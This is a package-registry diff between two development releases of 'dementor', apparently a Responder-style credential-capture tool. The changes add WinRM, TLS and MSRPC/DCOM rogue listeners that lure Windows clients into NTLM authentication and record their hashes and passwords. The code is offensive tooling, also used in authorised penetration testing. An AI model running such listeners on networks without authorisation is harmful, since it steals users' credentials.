dementor 1.0.0.dev1__tar.gz → 1.0.0.dev3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of dementor might be problematic. Click here for more details.
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/PKG-INFO +1 -1
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/__init__.py +1 -1
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/config.py +10 -4
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/database.py +12 -4
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/loader.py +15 -6
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/http.py +106 -18
- dementor-1.0.0.dev3/dementor/protocols/msrpc/__init__.py +0 -0
- dementor-1.0.0.dev3/dementor/protocols/msrpc/dcom.py +65 -0
- dementor-1.0.0.dev3/dementor/protocols/msrpc/epm.py +72 -0
- dementor-1.0.0.dev3/dementor/protocols/msrpc/rpc.py +374 -0
- dementor-1.0.0.dev3/dementor/protocols/msrpc.py +34 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/netbios.py +4 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/quic.py +1 -2
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/smb.py +1 -5
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/smtp.py +1 -1
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/servers.py +2 -2
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/standalone.py +1 -1
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/PKG-INFO +1 -1
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/SOURCES.txt +9 -1
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/pyproject.toml +1 -1
- dementor-1.0.0.dev3/test/test_dcerpc.py +15 -0
- dementor-1.0.0.dev3/test/test_dcom.py +51 -0
- dementor-1.0.0.dev3/test/test_epm.py +40 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/LICENSE +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/README.md +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/__main__.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/filters.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/logger.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/paths.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/__init__.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/ftp.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/kerberos.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/ldap.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/llmnr.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/mdns.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/ntlm.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor/protocols/spnego.py +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/dependency_links.txt +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/entry_points.txt +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/dementor.egg-info/top_level.txt +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/docs/README.pypi.md +0 -0
- {dementor-1.0.0.dev1 → dementor-1.0.0.dev3}/setup.cfg +0 -0
|
@@ -41,10 +41,10 @@ class TomlConfig:
|
|
|
41
41
|
_section_: str | None
|
|
42
42
|
_fields_: list[Attribute]
|
|
43
43
|
|
|
44
|
-
def __init__(self, config: dict) -> None:
|
|
44
|
+
def __init__(self, config: dict | None = None) -> None:
|
|
45
45
|
for field in self._fields_:
|
|
46
46
|
self._set_field(
|
|
47
|
-
config,
|
|
47
|
+
config or {},
|
|
48
48
|
field.attr_name,
|
|
49
49
|
field.qname,
|
|
50
50
|
field.default_val,
|
|
@@ -151,6 +151,8 @@ class SessionConfig(TomlConfig):
|
|
|
151
151
|
Attribute("quic_enabled", "QUIC", True, factory=is_true),
|
|
152
152
|
Attribute("mdns_enabled", "mDNS", True, factory=is_true),
|
|
153
153
|
Attribute("http_enabled", "HTTP", True, factory=is_true),
|
|
154
|
+
Attribute("msrpc_enabled", "RPC", True, factory=is_true),
|
|
155
|
+
Attribute("winrm_enabled", "WinRM", True, factory=is_true),
|
|
154
156
|
Attribute("extra_modules", "ExtraModules", list),
|
|
155
157
|
Attribute("workspace_path", "Workspace", DEMENTOR_PATH),
|
|
156
158
|
]
|
|
@@ -168,8 +170,8 @@ class SessionConfig(TomlConfig):
|
|
|
168
170
|
def __init__(self) -> None:
|
|
169
171
|
super().__init__(dm_config.get("Dementor", {}))
|
|
170
172
|
# global options that are not loaded from configuration
|
|
171
|
-
self.ipv6
|
|
172
|
-
self.ipv4
|
|
173
|
+
self.ipv6 = None
|
|
174
|
+
self.ipv4 = None
|
|
173
175
|
self.interface = None
|
|
174
176
|
self.analysis = False
|
|
175
177
|
self.loop = asyncio.get_event_loop()
|
|
@@ -189,6 +191,10 @@ class SessionConfig(TomlConfig):
|
|
|
189
191
|
# REVISIT: this should raise an exception
|
|
190
192
|
return self.interface == "ALL"
|
|
191
193
|
|
|
194
|
+
@property
|
|
195
|
+
def bind_address(self) -> str:
|
|
196
|
+
return "::" if self.ipv6 else str(self.ipv4)
|
|
197
|
+
|
|
192
198
|
|
|
193
199
|
def _read(path: str):
|
|
194
200
|
with open(path, "rb") as f:
|
|
@@ -197,11 +197,19 @@ class DementorDB:
|
|
|
197
197
|
)
|
|
198
198
|
results = self.db_exec(q).all()
|
|
199
199
|
text = "Password" if credtype == _CLEARTEXT else "Hash"
|
|
200
|
+
username_text = markup.escape(username)
|
|
201
|
+
is_blank = len(str(username).strip()) == 0
|
|
202
|
+
if is_blank:
|
|
203
|
+
username_text = "(blank)"
|
|
204
|
+
|
|
200
205
|
full_name = (
|
|
201
|
-
f"[b]{
|
|
206
|
+
f" for [b]{username_text}[/]/[b]{markup.escape(domain)}[/]"
|
|
202
207
|
if domain
|
|
203
|
-
else f"[b]{
|
|
208
|
+
else f" for [b]{username_text}[/]"
|
|
204
209
|
)
|
|
210
|
+
if is_blank:
|
|
211
|
+
full_name = ""
|
|
212
|
+
|
|
205
213
|
if not results or self.config.db_config.db_duplicate_creds:
|
|
206
214
|
# just insert a new row
|
|
207
215
|
q = sql.insert(self.CredentialsTable).values(
|
|
@@ -219,13 +227,13 @@ class DementorDB:
|
|
|
219
227
|
self.db_exec(q)
|
|
220
228
|
with dm_console_lock:
|
|
221
229
|
target_logger.success(
|
|
222
|
-
f"Captured {credtype} {text}
|
|
230
|
+
f"Captured {credtype} {text}{full_name} from {client_address}:",
|
|
223
231
|
host=hostname or client_address,
|
|
224
232
|
locked=True,
|
|
225
233
|
)
|
|
226
234
|
if username != _NO_USER:
|
|
227
235
|
target_logger.highlight(
|
|
228
|
-
f"{credtype} Username: {
|
|
236
|
+
f"{credtype} Username: {username_text}",
|
|
229
237
|
host=hostname or client_address,
|
|
230
238
|
locked=True,
|
|
231
239
|
)
|
|
@@ -18,6 +18,7 @@
|
|
|
18
18
|
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
19
19
|
# SOFTWARE.
|
|
20
20
|
import argparse
|
|
21
|
+
from ntpath import isfile
|
|
21
22
|
import types
|
|
22
23
|
import os
|
|
23
24
|
import dementor
|
|
@@ -30,6 +31,10 @@ from dementor.paths import DEMENTOR_PATH
|
|
|
30
31
|
class ProtocolLoader:
|
|
31
32
|
def __init__(self) -> None:
|
|
32
33
|
self.rs_path = os.path.join(DEMENTOR_PATH, "protocols")
|
|
34
|
+
self.search_path = [
|
|
35
|
+
os.path.join(os.path.dirname(dementor.__file__), "protocols"),
|
|
36
|
+
self.rs_path,
|
|
37
|
+
]
|
|
33
38
|
|
|
34
39
|
def load_protocol(self, protocol_path: str) -> types.ModuleType:
|
|
35
40
|
loader = SourceFileLoader("protocol", protocol_path)
|
|
@@ -39,10 +44,7 @@ class ProtocolLoader:
|
|
|
39
44
|
|
|
40
45
|
def get_protocols(self, session=None):
|
|
41
46
|
protocols = {}
|
|
42
|
-
protocol_paths =
|
|
43
|
-
os.path.join(os.path.dirname(dementor.__file__), "protocols"),
|
|
44
|
-
self.rs_path,
|
|
45
|
-
]
|
|
47
|
+
protocol_paths = list(self.search_path)
|
|
46
48
|
|
|
47
49
|
if session is not None:
|
|
48
50
|
protocol_paths.extend(session.extra_modules)
|
|
@@ -51,8 +53,16 @@ class ProtocolLoader:
|
|
|
51
53
|
if not os.path.exists(path):
|
|
52
54
|
continue
|
|
53
55
|
|
|
54
|
-
|
|
56
|
+
if os.path.isfile(path):
|
|
57
|
+
if not path.endswith(".py"):
|
|
58
|
+
continue
|
|
59
|
+
|
|
60
|
+
protocol_path = path
|
|
61
|
+
name = os.path.basename(path)[:-3]
|
|
62
|
+
protocols[name] = protocol_path
|
|
63
|
+
continue
|
|
55
64
|
|
|
65
|
+
# TODO: check for directory
|
|
56
66
|
for filename in os.listdir(path):
|
|
57
67
|
if not filename.endswith(".py") or filename == "__init__.py":
|
|
58
68
|
continue
|
|
@@ -87,4 +97,3 @@ class ProtocolLoader:
|
|
|
87
97
|
return protocol.create_server_threads(session)
|
|
88
98
|
|
|
89
99
|
return []
|
|
90
|
-
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
import socket
|
|
21
21
|
import base64
|
|
22
22
|
import pathlib
|
|
23
|
-
|
|
23
|
+
import ssl
|
|
24
24
|
|
|
25
25
|
from http import HTTPStatus
|
|
26
26
|
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
|
|
@@ -54,12 +54,31 @@ def apply_config(session):
|
|
|
54
54
|
servers.append(HTTPServerConfig(server_config))
|
|
55
55
|
session.http_config = servers
|
|
56
56
|
|
|
57
|
+
winrm_config = []
|
|
58
|
+
config = HTTPServerConfig({"Port": 5985})
|
|
59
|
+
config.http_wpad_enabled = False
|
|
60
|
+
config.http_webdav_enabled = False
|
|
61
|
+
|
|
62
|
+
ssl_enabled = bool(config.http_cert)
|
|
63
|
+
config.http_cert = None
|
|
64
|
+
config.http_cert_key = None
|
|
65
|
+
winrm_config.append(config)
|
|
66
|
+
if ssl_enabled:
|
|
67
|
+
ssl_config = HTTPServerConfig({"Port": 5986})
|
|
68
|
+
ssl_config.http_wpad_enabled = False
|
|
69
|
+
ssl_config.http_webdav_enabled = False
|
|
70
|
+
ssl_config.http_use_ssl = True
|
|
71
|
+
winrm_config.append(ssl_config)
|
|
72
|
+
|
|
73
|
+
if session.winrm_enabled:
|
|
74
|
+
session.winrm_config = winrm_config
|
|
75
|
+
|
|
57
76
|
|
|
58
77
|
def create_server_threads(session):
|
|
59
78
|
servers = []
|
|
60
79
|
for server_config in session.http_config if session.http_enabled else []:
|
|
61
80
|
address = (
|
|
62
|
-
|
|
81
|
+
session.bind_address,
|
|
63
82
|
server_config.http_port,
|
|
64
83
|
)
|
|
65
84
|
servers.append(
|
|
@@ -72,6 +91,19 @@ def create_server_threads(session):
|
|
|
72
91
|
)
|
|
73
92
|
)
|
|
74
93
|
|
|
94
|
+
if session.winrm_enabled:
|
|
95
|
+
for winrm_config in session.winrm_config:
|
|
96
|
+
servers.append(
|
|
97
|
+
ServerThread(
|
|
98
|
+
session,
|
|
99
|
+
HTTPServer,
|
|
100
|
+
winrm_config,
|
|
101
|
+
RequestHandlerClass=WinRMHandler,
|
|
102
|
+
server_address=(session.bind_address, winrm_config.http_port),
|
|
103
|
+
ipv6=bool(session.ipv6),
|
|
104
|
+
)
|
|
105
|
+
)
|
|
106
|
+
|
|
75
107
|
return servers
|
|
76
108
|
|
|
77
109
|
|
|
@@ -138,6 +170,9 @@ class HTTPServerConfig(TomlConfig):
|
|
|
138
170
|
A("http_templates", "TemplatesPath", [HTTP_TEMPLATES_PATH]),
|
|
139
171
|
A("http_webdav_enabled", "WebDAV", True, factory=is_true),
|
|
140
172
|
A("http_methods", "Methods", ["GET", "POST"]),
|
|
173
|
+
A("http_cert", "Cert", None, section_local=False),
|
|
174
|
+
A("http_cert_key", "Key", None, section_local=False),
|
|
175
|
+
A("http_use_ssl", "TLS", False, factory=is_true),
|
|
141
176
|
]
|
|
142
177
|
|
|
143
178
|
def set_http_ntlm_challenge(self, challenge):
|
|
@@ -173,31 +208,35 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
173
208
|
def __init__(self, session, config, request, client_address, server) -> None:
|
|
174
209
|
self.config = config
|
|
175
210
|
self.session = session
|
|
211
|
+
self.client_address = client_address
|
|
212
|
+
self.challenge = None
|
|
213
|
+
self.setup_proto_logger()
|
|
214
|
+
for http_method in config.http_methods:
|
|
215
|
+
if http_method in ("OPTIONS", "PROPFIND"):
|
|
216
|
+
# reserved options
|
|
217
|
+
continue
|
|
218
|
+
|
|
219
|
+
setattr(self, f"do_{http_method}", lambda: self.handle_request(self.logger))
|
|
220
|
+
|
|
221
|
+
super().__init__(request, client_address, server)
|
|
222
|
+
|
|
223
|
+
def setup_proto_logger(self):
|
|
176
224
|
self.logger = ProtocolLogger(
|
|
177
225
|
extra={
|
|
178
226
|
"protocol": "HTTP",
|
|
179
227
|
"protocol_color": "chartreuse3",
|
|
180
|
-
"host": normalize_client_address(client_address[0]),
|
|
181
|
-
"port": config.http_port,
|
|
228
|
+
"host": normalize_client_address(self.client_address[0]),
|
|
229
|
+
"port": self.config.http_port,
|
|
182
230
|
}
|
|
183
231
|
)
|
|
184
232
|
self.webdav_logger = ProtocolLogger(
|
|
185
233
|
extra={
|
|
186
234
|
"protocol": "WebDAV",
|
|
187
235
|
"protocol_color": "sea_green3",
|
|
188
|
-
"host": normalize_client_address(client_address[0]),
|
|
189
|
-
"port": config.http_port,
|
|
236
|
+
"host": normalize_client_address(self.client_address[0]),
|
|
237
|
+
"port": self.config.http_port,
|
|
190
238
|
}
|
|
191
239
|
)
|
|
192
|
-
self.challenge = None
|
|
193
|
-
for http_method in config.http_methods:
|
|
194
|
-
if http_method in ("OPTIONS", "PROPFIND"):
|
|
195
|
-
# reserved options
|
|
196
|
-
continue
|
|
197
|
-
|
|
198
|
-
setattr(self, f"do_{http_method}", lambda: self.handle_request(self.logger))
|
|
199
|
-
|
|
200
|
-
super().__init__(request, client_address, server)
|
|
201
240
|
|
|
202
241
|
def do_PROPFIND(self):
|
|
203
242
|
if self.config.http_webdav_enabled:
|
|
@@ -208,7 +247,12 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
208
247
|
def do_OPTIONS(self):
|
|
209
248
|
# always support everything
|
|
210
249
|
self.send_response(HTTPStatus.OK)
|
|
211
|
-
self.send_header("Allow", "OPTIONS,GET,HEAD,POST,TRACE")
|
|
250
|
+
self.send_header("Allow", "OPTIONS,GET,HEAD,POST,TRACE,PROPFIND")
|
|
251
|
+
self.end_headers()
|
|
252
|
+
|
|
253
|
+
def do_HEAD(self):
|
|
254
|
+
self.send_response(HTTPStatus.OK)
|
|
255
|
+
self.send_header("Content-Length", "0")
|
|
212
256
|
self.end_headers()
|
|
213
257
|
|
|
214
258
|
def version_string(self) -> str:
|
|
@@ -221,6 +265,9 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
221
265
|
self.logger.debug(f"- - {msg}")
|
|
222
266
|
|
|
223
267
|
def send_response(self, code: int, message: str | None = None) -> None:
|
|
268
|
+
if not hasattr(self, "_headers_buffer"):
|
|
269
|
+
self._headers_buffer = []
|
|
270
|
+
|
|
224
271
|
super().send_response(code, message)
|
|
225
272
|
for header in self.config.http_extra_headers:
|
|
226
273
|
self._headers_buffer.append(f"{header}\r\n".encode("latin-1", "strict"))
|
|
@@ -262,6 +309,12 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
262
309
|
path = pathlib.Path(self.path)
|
|
263
310
|
return path.suffix == ".pac" or path.stem == "wpad"
|
|
264
311
|
|
|
312
|
+
def display_request(self, req_type: str | None = None, logger=None):
|
|
313
|
+
line = f"{self.command} request for {markup.escape(self.path)}"
|
|
314
|
+
if req_type:
|
|
315
|
+
line = f"{line} ({req_type})"
|
|
316
|
+
(logger or self.logger).display(line)
|
|
317
|
+
|
|
265
318
|
def send_wpad_script(self):
|
|
266
319
|
if self.config.proxy_config.proxy_script:
|
|
267
320
|
# try to render the custom script
|
|
@@ -286,7 +339,6 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
286
339
|
self.wfile.write(body)
|
|
287
340
|
|
|
288
341
|
def handle_request(self, logger):
|
|
289
|
-
logger.display(f"{self.command} request for {markup.escape(self.path)}")
|
|
290
342
|
if HTTPHeaders.AUTHORIZATION not in self.headers:
|
|
291
343
|
# make sure the client authenticates to us
|
|
292
344
|
if (
|
|
@@ -296,6 +348,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
296
348
|
):
|
|
297
349
|
return self.send_wpad_script()
|
|
298
350
|
|
|
351
|
+
self.display_request("Unauthorized", logger)
|
|
299
352
|
self.send_error(
|
|
300
353
|
HTTPStatus.UNAUTHORIZED,
|
|
301
354
|
"Unauthorized",
|
|
@@ -310,6 +363,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
310
363
|
if method:
|
|
311
364
|
method(token, logger)
|
|
312
365
|
else:
|
|
366
|
+
logger.debug(f"Unknown authentication scheme: {name}")
|
|
313
367
|
self.send_error(HTTPStatus.NOT_FOUND, "Not Found")
|
|
314
368
|
|
|
315
369
|
def auth_negotiate(self, token, logger):
|
|
@@ -331,6 +385,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
331
385
|
|
|
332
386
|
match message:
|
|
333
387
|
case ntlm.NTLM_HTTP_AuthNegotiate():
|
|
388
|
+
self.display_request("NTLMSSP_NEGOTIATE", logger)
|
|
334
389
|
challenge = NTLM_AUTH_CreateChallenge(
|
|
335
390
|
message,
|
|
336
391
|
*NTLM_split_fqdn(self.config.http_fqdn),
|
|
@@ -345,6 +400,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
345
400
|
self.end_headers()
|
|
346
401
|
|
|
347
402
|
case ntlm.NTLM_HTTP_AuthChallengeResponse():
|
|
403
|
+
self.display_request("NTLMSSP_AUTH", logger)
|
|
348
404
|
# try to decode auth message
|
|
349
405
|
auth_message = message
|
|
350
406
|
hashversion, hashvalue = NTLM_AUTH_to_hashcat_format(
|
|
@@ -379,6 +435,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
379
435
|
)
|
|
380
436
|
|
|
381
437
|
def auth_bearer(self, token, logger):
|
|
438
|
+
self.display_request("Bearer", logger)
|
|
382
439
|
self.session.db.add_auth(
|
|
383
440
|
client=self.client_address,
|
|
384
441
|
credtype="BearerToken",
|
|
@@ -390,6 +447,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
390
447
|
self.finish_request(logger)
|
|
391
448
|
|
|
392
449
|
def auth_basic(self, token, logger):
|
|
450
|
+
self.display_request("Basic", logger)
|
|
393
451
|
try:
|
|
394
452
|
username, password = base64.b64decode(token).decode().split(":", 1)
|
|
395
453
|
except ValueError:
|
|
@@ -430,6 +488,18 @@ class HTTPHandler(BaseHTTPRequestHandler):
|
|
|
430
488
|
return extras
|
|
431
489
|
|
|
432
490
|
|
|
491
|
+
class WinRMHandler(HTTPHandler):
|
|
492
|
+
def setup_proto_logger(self):
|
|
493
|
+
self.logger = ProtocolLogger(
|
|
494
|
+
extra={
|
|
495
|
+
"protocol": "WinRM",
|
|
496
|
+
"protocol_color": "spring_green1",
|
|
497
|
+
"host": normalize_client_address(self.client_address[0]),
|
|
498
|
+
"port": self.config.http_port,
|
|
499
|
+
}
|
|
500
|
+
)
|
|
501
|
+
|
|
502
|
+
|
|
433
503
|
class HTTPServer(ThreadingHTTPServer):
|
|
434
504
|
service_name = "HTTP"
|
|
435
505
|
|
|
@@ -453,9 +523,23 @@ class HTTPServer(ThreadingHTTPServer):
|
|
|
453
523
|
)
|
|
454
524
|
|
|
455
525
|
super().__init__(
|
|
456
|
-
server_address or (
|
|
526
|
+
server_address or (self.config.bind_address, 80),
|
|
457
527
|
RequestHandlerClass or HTTPHandler,
|
|
458
528
|
)
|
|
529
|
+
if self.server_config.http_use_ssl:
|
|
530
|
+
# if defined use ssl
|
|
531
|
+
cert_path = pathlib.Path(str(self.server_config.http_cert))
|
|
532
|
+
key_path = pathlib.Path(str(self.server_config.http_cert_key))
|
|
533
|
+
if not cert_path.exists() or not key_path.exists():
|
|
534
|
+
dm_logger.error(
|
|
535
|
+
f"({self.service_name}, {self.server_address[:2]}) Certificate or key file not found: "
|
|
536
|
+
f"Cert={self.server_config.http_cert} "
|
|
537
|
+
f"Key={self.server_config.http_cert_key}"
|
|
538
|
+
)
|
|
539
|
+
return
|
|
540
|
+
self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
541
|
+
self.ssl_context.load_cert_chain(certfile=cert_path, keyfile=key_path)
|
|
542
|
+
self.socket = self.ssl_context.wrap_socket(self.socket, server_side=True)
|
|
459
543
|
|
|
460
544
|
def server_bind(self):
|
|
461
545
|
bind_server(self, self.config)
|
|
@@ -487,3 +571,7 @@ class HTTPServer(ThreadingHTTPServer):
|
|
|
487
571
|
print(e)
|
|
488
572
|
dm_logger.error("Error rendering page: Could not find template")
|
|
489
573
|
return
|
|
574
|
+
|
|
575
|
+
|
|
576
|
+
class WinRMServer(HTTPServer):
|
|
577
|
+
service_name = "WinRM"
|
|
File without changes
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
from array import array
|
|
2
|
+
from impacket.dcerpc.v5 import dcomrt, rpcrt
|
|
3
|
+
from dementor.protocols.msrpc.rpc import rev_rpc_status_codes
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
__uuid__ = [
|
|
7
|
+
"00000000-0000-0000-C000-000000000046",
|
|
8
|
+
"00000131-0000-0000-C000-000000000046",
|
|
9
|
+
"00000134-0000-0000-C000-000000000046",
|
|
10
|
+
"00000143-0000-0000-C000-000000000046",
|
|
11
|
+
"000001A0-0000-0000-C000-000000000046",
|
|
12
|
+
"18F70770-8E64-11CF-9AF1-0020AF6E72F4",
|
|
13
|
+
"4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57",
|
|
14
|
+
"6050B110-CE87-4126-A114-50AEFCFC95F8",
|
|
15
|
+
"99FCFEC4-5260-101B-BBCB-00AA0021347A",
|
|
16
|
+
]
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
def handle_request(rpc, request: rpcrt.MSRPCRequestHeader, _data) -> int | str:
|
|
20
|
+
op_num = request["op_num"]
|
|
21
|
+
|
|
22
|
+
if op_num == dcomrt.ServerAlive2.opnum:
|
|
23
|
+
# build response packet with our IP in answer RR
|
|
24
|
+
alive_resp = dcomrt.ServerAlive2Response()
|
|
25
|
+
alive_resp["pComVersion"] = dcomrt.COMVERSION()
|
|
26
|
+
alive_resp["ErrorCode"] = 0
|
|
27
|
+
|
|
28
|
+
bindings = dcomrt.DUALSTRINGARRAY()
|
|
29
|
+
data_buf = array("H")
|
|
30
|
+
|
|
31
|
+
# StringBinding: current IPv4 (we could also use hostname here)
|
|
32
|
+
binding = dcomrt.STRINGBINDING()
|
|
33
|
+
binding["wTowerId"] = 0x07 # ncacn_ip_tcp
|
|
34
|
+
binding["aNetworkAddr"] = f"{rpc.config.ipv4}\x00"
|
|
35
|
+
data_buf.extend(array("H", binding.getData()))
|
|
36
|
+
|
|
37
|
+
data_buf.append(0x00) # end of string bindings
|
|
38
|
+
sec_offset = len(data_buf)
|
|
39
|
+
|
|
40
|
+
# We only support NTLM Authentication
|
|
41
|
+
binding = dcomrt.SECURITYBINDING()
|
|
42
|
+
binding["wAuthnSvc"] = rpcrt.RPC_C_AUTHN_WINNT
|
|
43
|
+
binding["aPrincName"] = "\x00"
|
|
44
|
+
binding["Reserved"] = 0xFFFF
|
|
45
|
+
data_buf.extend(array("H", binding.getData()))
|
|
46
|
+
data_buf.append(0x00) # end of security bindings
|
|
47
|
+
|
|
48
|
+
bindings["wNumEntries"] = len(data_buf)
|
|
49
|
+
bindings["wSecurityOffset"] = sec_offset
|
|
50
|
+
bindings["aStringArray"] = data_buf
|
|
51
|
+
alive_resp["ppdsaOrBindings"] = bindings
|
|
52
|
+
|
|
53
|
+
resp = rpcrt.MSRPCRespHeader()
|
|
54
|
+
resp["type"] = rpcrt.MSRPC_RESPONSE
|
|
55
|
+
resp["call_id"] = request["call_id"]
|
|
56
|
+
resp["ctx_id"] = request["ctx_id"]
|
|
57
|
+
resp["auth_data"] = b""
|
|
58
|
+
resp["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
|
|
59
|
+
resp["pduData"] = alive_resp.getData()
|
|
60
|
+
resp["frag_len"] = len(resp.get_packet())
|
|
61
|
+
resp["alloc_hint"] = len(resp.get_packet())
|
|
62
|
+
rpc.send(resp.getData())
|
|
63
|
+
return 0
|
|
64
|
+
|
|
65
|
+
return rev_rpc_status_codes["nca_s_unk_op"]
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
import socket
|
|
2
|
+
import struct
|
|
3
|
+
|
|
4
|
+
from impacket.dcerpc.v5 import epm, rpcrt
|
|
5
|
+
from dementor.protocols.msrpc.rpc import uuid_name, rev_rpc_status_codes
|
|
6
|
+
|
|
7
|
+
__uuid__ = epm.MSRPC_UUID_PORTMAP
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
def handle_request(rpc, request: rpcrt.MSRPCRequestHeader, _data) -> int | str:
|
|
11
|
+
op_num = request["op_num"]
|
|
12
|
+
if op_num == 0x03:
|
|
13
|
+
# Operation: Map (3)
|
|
14
|
+
map_req = epm.ept_map(request["pduData"])
|
|
15
|
+
map_resp = epm.ept_mapResponse()
|
|
16
|
+
map_resp["status"] = 0 # success
|
|
17
|
+
map_resp["num_towers"] = 1
|
|
18
|
+
map_resp["entry_handle"] = map_req["entry_handle"]
|
|
19
|
+
|
|
20
|
+
req_tower = epm.EPMTower(b"".join(map_req["map_tower"]["tower_octet_string"]))
|
|
21
|
+
req_floors = req_tower["Floors"]
|
|
22
|
+
resp_tower = epm.EPMTower()
|
|
23
|
+
resp_floors = []
|
|
24
|
+
|
|
25
|
+
# First floor will be the interface
|
|
26
|
+
interface = req_floors[0]["InterfaceUUID"]
|
|
27
|
+
interface += struct.pack(
|
|
28
|
+
"<HH", req_floors[0]["MajorVersion"], req_floors[0]["MinorVersion"]
|
|
29
|
+
)
|
|
30
|
+
# Second floor must map to the same syntax -> TODO
|
|
31
|
+
# Third floor MUST be TCP
|
|
32
|
+
resp_floors.extend(req_floors[:3])
|
|
33
|
+
|
|
34
|
+
epm_port = epm.EPMPortAddr()
|
|
35
|
+
epm_port["IpPort"] = rpc.rpc_config.epm_port
|
|
36
|
+
resp_floors.append(epm_port)
|
|
37
|
+
|
|
38
|
+
epm_host = epm.EPMHostAddr()
|
|
39
|
+
epm_host["Ip4addr"] = socket.inet_aton(rpc.config.ipv4)
|
|
40
|
+
resp_floors.append(epm_host)
|
|
41
|
+
|
|
42
|
+
resp_tower["NumberOfFloors"] = len(resp_floors)
|
|
43
|
+
resp_tower["Floors"] = b"".join([i.getData() for i in resp_floors])
|
|
44
|
+
|
|
45
|
+
resp_tower_data = epm.twr_p_t()
|
|
46
|
+
resp_tower_data["tower_octet_string"] = resp_tower.getData()
|
|
47
|
+
resp_tower_data["tower_length"] = len(resp_tower_data["tower_octet_string"])
|
|
48
|
+
resp_tower_data["ReferentID"] = 3
|
|
49
|
+
|
|
50
|
+
# NOTE: impacket automatically sets "MaximumCount" to 1, which causes connections
|
|
51
|
+
# to fail with Windows systems. We should use 4 (default) or the number mentioned
|
|
52
|
+
# in the request.
|
|
53
|
+
resp_towers = epm.twr_p_t_array()
|
|
54
|
+
resp_towers["Data"] = [resp_tower_data]
|
|
55
|
+
resp_towers["ActualCount"] = 1
|
|
56
|
+
resp_towers["MaximumCount"] = 4
|
|
57
|
+
map_resp["ITowers"] = resp_towers
|
|
58
|
+
rpc.logger.display(f"Map request for [b]{uuid_name(interface)}[/]")
|
|
59
|
+
|
|
60
|
+
resp = rpcrt.MSRPCRespHeader()
|
|
61
|
+
resp["type"] = rpcrt.MSRPC_RESPONSE
|
|
62
|
+
resp["call_id"] = request["call_id"]
|
|
63
|
+
resp["ctx_id"] = request["ctx_id"]
|
|
64
|
+
resp["auth_data"] = b""
|
|
65
|
+
resp["flags"] = rpcrt.PFC_FIRST_FRAG | rpcrt.PFC_LAST_FRAG
|
|
66
|
+
resp["pduData"] = map_resp.getData()
|
|
67
|
+
resp["frag_len"] = len(resp.get_packet())
|
|
68
|
+
resp["alloc_hint"] = len(resp.get_packet())
|
|
69
|
+
rpc.send(resp.get_packet())
|
|
70
|
+
return 0
|
|
71
|
+
|
|
72
|
+
return rev_rpc_status_codes["nca_s_unk_op"]
|
|
@@ -0,0 +1,374 @@
